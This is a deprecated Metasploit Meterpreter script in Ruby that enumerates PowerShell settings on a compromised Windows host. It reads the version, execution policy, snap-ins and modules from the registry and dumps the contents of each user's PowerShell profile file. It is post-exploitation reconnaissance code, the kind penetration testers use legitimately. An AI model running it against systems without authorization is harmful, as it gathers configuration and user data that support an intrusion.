##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##


#Meterpreter script for enumerating Microsoft Powershell settings.
#Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com
@client = client

@@exec_opts = Rex::Parser::Arguments.new(
  "-h" => [ false,"Help menu." ]
)

@@exec_opts.parse(args) { |opt, idx, val|
  case opt
  when "-h"
    print_line("enum_scripting_env -- Enumerates PowerShell and WSH Configurations")
    print_line("USAGE: run enum_scripting_env")
    print_line(@@exec_opts.usage)
    raise Rex::Script::Completed
  end
}
#Support Functions
#-------------------------------------------------------------------------------
def enum_users
  os = @client.sys.config.sysinfo['OS']
  users = []
  user = @client.sys.config.getuid
  path4users = ""
  sysdrv = @client.sys.config.getenv('SystemDrive')

  if os =~ /Windows 7|Vista|2008/
    path4users = sysdrv + "\\Users\\"
    profilepath = "\\Documents\\WindowsPowerShell\\"
  else
    path4users = sysdrv + "\\Documents and Settings\\"
    profilepath = "\\My Documents\\WindowsPowerShell\\"
  end

  if is_system?
    print_status("Running as SYSTEM extracting user list..")
    @client.fs.dir.foreach(path4users) do |u|
      userinfo = {}
      next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
      userinfo['username'] = u
      userinfo['userappdata'] = path4users + u + profilepath
      users << userinfo
    end
  else
    userinfo = {}
    uservar = @client.sys.config.getenv('USERNAME')
    userinfo['username'] = uservar
    userinfo['userappdata'] = path4users + uservar + profilepath
    users << userinfo
  end
  return users
end



#-------------------------------------------------------------------------------
def enum_powershell
  #Check if PowerShell is Installed
  if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
    print_status("Powershell is Installed on this system.")
    powershell_version = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine","PowerShellVersion")
    print_status("Version: #{powershell_version}")
    #Get PowerShell Execution Policy
    begin
      powershell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","ExecutionPolicy")
    rescue
      powershell_policy = "Restricted"
    end
    print_status("Execution Policy: #{powershell_policy}")
    powershell_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","Path")
    print_status("Path: #{powershell_path}")
    if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1").include?("PowerShellSnapIns")
      print_status("Powershell Snap-Ins:")
      registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns").each do |si|
        print_status("\tSnap-In: #{si}")
        registry_enumvals("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}").each do |v|
          print_status("\t\t#{v}: #{registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}",v)}")
        end
      end
    else
      print_status("No PowerShell Snap-Ins are installed")

    end
    if powershell_version =~ /2./
      print_status("Powershell Modules:")
      powershell_module_path = @client.sys.config.getenv('PSModulePath')
      @client.fs.dir.foreach(powershell_module_path) do |m|
        next if m =~ /^(\.|\.\.)$/
        print_status("\t#{m}")
      end
    end
    tmpout = []
    print_status("Checking if users have Powershell profiles")
    enum_users.each do |u|
      print_status("Checking #{u['username']}")
      begin
      @client.fs.dir.foreach(u["userappdata"]) do |p|
        next if p =~ /^(\.|\.\.)$/
        if p =~ /Microsoft.PowerShell_profile.ps1/
          ps_profile = session.fs.file.new("#{u["userappdata"]}Microsoft.PowerShell_profile.ps1", "rb")
          until ps_profile.eof?
            tmpout << ps_profile.read
          end
          ps_profile.close
          if tmpout.length == 1
            print_status("Profile for #{u["username"]} not empty, it contains:")
            tmpout.each do |l|
              print_status("\t#{l.strip}")
            end
          end
        end
      end
      rescue
      end
    end


  end
end
if client.platform == 'windows'
  enum_powershell
else
  print_error("This version of Meterpreter is not supported with this Script!")
  raise Rex::Script::Completed
end